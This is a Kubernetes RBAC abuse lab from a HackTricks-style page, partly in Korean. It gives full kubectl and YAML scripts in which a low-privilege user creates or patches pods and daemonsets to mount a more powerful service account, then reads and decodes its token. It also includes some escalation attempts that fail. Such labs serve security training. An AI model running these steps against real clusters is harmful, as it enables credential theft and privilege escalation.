Skip to content

Latest commit

Β 

History

History
627 lines (578 loc) Β· 17.4 KB

File metadata and controls

627 lines (578 loc) Β· 17.4 KB

Kubernetes Roles Abuse Lab

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

You can run these labs just inside minikube.

Pod Creation -> Escalate to ns SAs

μš°λ¦¬λŠ” λ‹€μŒμ„ 생성할 κ²ƒμž…λ‹ˆλ‹€:

  • 비밀을 읽을 수 μžˆλŠ” ν΄λŸ¬μŠ€ν„° κΆŒν•œμ„ 가진 "test-sa" μ„œλΉ„μŠ€ 계정
  • ClusterRole "test-cr" 및 ClusterRoleBinding "test-crb"κ°€ μƒμ„±λ©λ‹ˆλ‹€.
  • "Test"λΌλŠ” μ‚¬μš©μžμ—κ²Œ podλ₯Ό λ‚˜μ—΄ν•˜κ³  생성할 수 μžˆλŠ” κΆŒν•œμ΄ λΆ€μ—¬λ©λ‹ˆλ‹€.
  • Role "test-r" 및 RoleBinding "test-rb"κ°€ μƒμ„±λ©λ‹ˆλ‹€.
  • 그런 λ‹€μŒ SAκ°€ 비밀을 λ‚˜μ—΄ν•  수 있고 μ‚¬μš©μž Testκ°€ podλ₯Ό λ‚˜μ—΄ν•  수 μžˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€.
  • λ§ˆμ§€λ§‰μœΌλ‘œ μ‚¬μš©μž Testλ₯Ό κ°€μž₯ν•˜μ—¬ SA test-saλ₯Ό ν¬ν•¨ν•˜λŠ” podλ₯Ό μƒμ„±ν•˜κ³  μ„œλΉ„μŠ€ 계정 토큰을 ν›”μΉ©λ‹ˆλ‹€.
  • 이것은 μ‚¬μš©μžκ°€ μ΄λ ‡κ²Œ κΆŒν•œμ„ μƒμŠΉμ‹œν‚¬ 수 μžˆμŒμ„ λ³΄μ—¬μ£ΌλŠ” λ°©λ²•μž…λ‹ˆλ‹€.

{% hint style="info" %} μ‹œλ‚˜λ¦¬μ˜€λ₯Ό μƒμ„±ν•˜κΈ° μœ„ν•΄ 관리 계정이 μ‚¬μš©λ©λ‹ˆλ‹€.
λ˜ν•œ, 이 μ˜ˆμ œμ—μ„œ sa 토큰을 μœ μΆœν•˜κΈ° μœ„ν•΄ 관리 계정이 μ‚¬μš©λ˜μ–΄ μƒμ„±λœ pod λ‚΄λΆ€μ—μ„œ execν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜, μ—¬κΈ°μ„œ μ„€λͺ…ν•œ λŒ€λ‘œ, pod의 선언은 ν† ν°μ˜ μœ μΆœμ„ 포함할 수 μžˆμŠ΅λ‹ˆλ‹€, λ”°λΌμ„œ "exec" κΆŒν•œμ€ 토큰을 μœ μΆœν•˜λŠ” 데 ν•„μš”ν•˜μ§€ μ•ŠμœΌλ©°, "create" κΆŒν•œλ§ŒμœΌλ‘œ μΆ©λΆ„ν•©λ‹ˆλ‹€. {% endhint %}

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Daemonset 생성

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

이 경우 μš°λ¦¬λŠ” 데λͺ¬μ…‹μ„ νŒ¨μΉ˜ν•˜μ—¬ ν•΄λ‹Ή ν¬λ“œκ°€ μ›ν•˜λŠ” μ„œλΉ„μŠ€ 계정을 λ‘œλ“œν•˜λ„λ‘ ν•  κ²ƒμž…λ‹ˆλ‹€.

μ‚¬μš©μžμ—κ²Œ 패치 λŒ€μ‹  μ—…λ°μ΄νŠΈ 동사가 μžˆλŠ” 경우, 이것은 μž‘λ™ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

μž‘λ™ν•˜μ§€ μ•ŠμŒ

바인딩 생성/패치

μž‘λ™ν•˜μ§€ μ•ŠμŒ:

  • μƒˆ RoleBinding 생성 단지 create λ™μ‚¬λ‘œ
  • μƒˆ RoleBinding 생성 단지 patch λ™μ‚¬λ‘œ (바인딩 κΆŒν•œμ΄ ν•„μš”ν•¨)
  • μžμ‹ μ—κ²Œ λ˜λŠ” λ‹€λ₯Έ SAμ—κ²Œ 역할을 ν• λ‹Ήν•  수 μ—†μŒ
  • μƒˆ RoleBinding μˆ˜μ • 단지 patch λ™μ‚¬λ‘œ (바인딩 κΆŒν•œμ΄ ν•„μš”ν•¨)
  • μžμ‹ μ—κ²Œ λ˜λŠ” λ‹€λ₯Έ SAμ—κ²Œ 역할을 ν• λ‹Ήν•  수 μ—†μŒ
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

"https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/"의 "κΆŒν•œ μƒμŠΉ 방지 및 λΆ€νŠΈμŠ€νŠΈλž˜ν•‘" μ„Ήμ…˜μ—μ„œλŠ” SAκ°€ Binding을 생성할 수 있고 Role/Cluster role에 λŒ€ν•΄ λͺ…μ‹œμ μœΌλ‘œ Bind κΆŒν•œμ„ 가지고 μžˆλ‹€λ©΄, μžμ‹ μ΄ 가지지 μ•Šμ€ κΆŒν•œμ„ 가진 Roles/ClusterRolesλ₯Ό μ‚¬μš©ν•˜μ—¬ 바인딩을 생성할 수 μžˆλ‹€κ³  μ–ΈκΈ‰ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.
ν•˜μ§€λ§Œ, μ €μ—κ²ŒλŠ” μž‘λ™ν•˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

μž„μ˜ μ—­ν•  생성

이 μ˜ˆμ œμ—μ„œλŠ” μ—­ν•  λ¦¬μ†ŒμŠ€μ— λŒ€ν•œ create 및 path κΆŒν•œμ„ 가진 역할을 μƒμ„±ν•˜λ €κ³  ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ K8sλŠ” μƒμ„±ν•˜λŠ” 주체가 가진 κΆŒν•œλ³΄λ‹€ 더 λ§Žμ€ κΆŒν•œμ„ 가진 역할을 μƒμ„±ν•˜λŠ” 것을 λ°©μ§€ν•©λ‹ˆλ‹€:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

{% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks μ§€μ›ν•˜κΈ°
{% endhint %}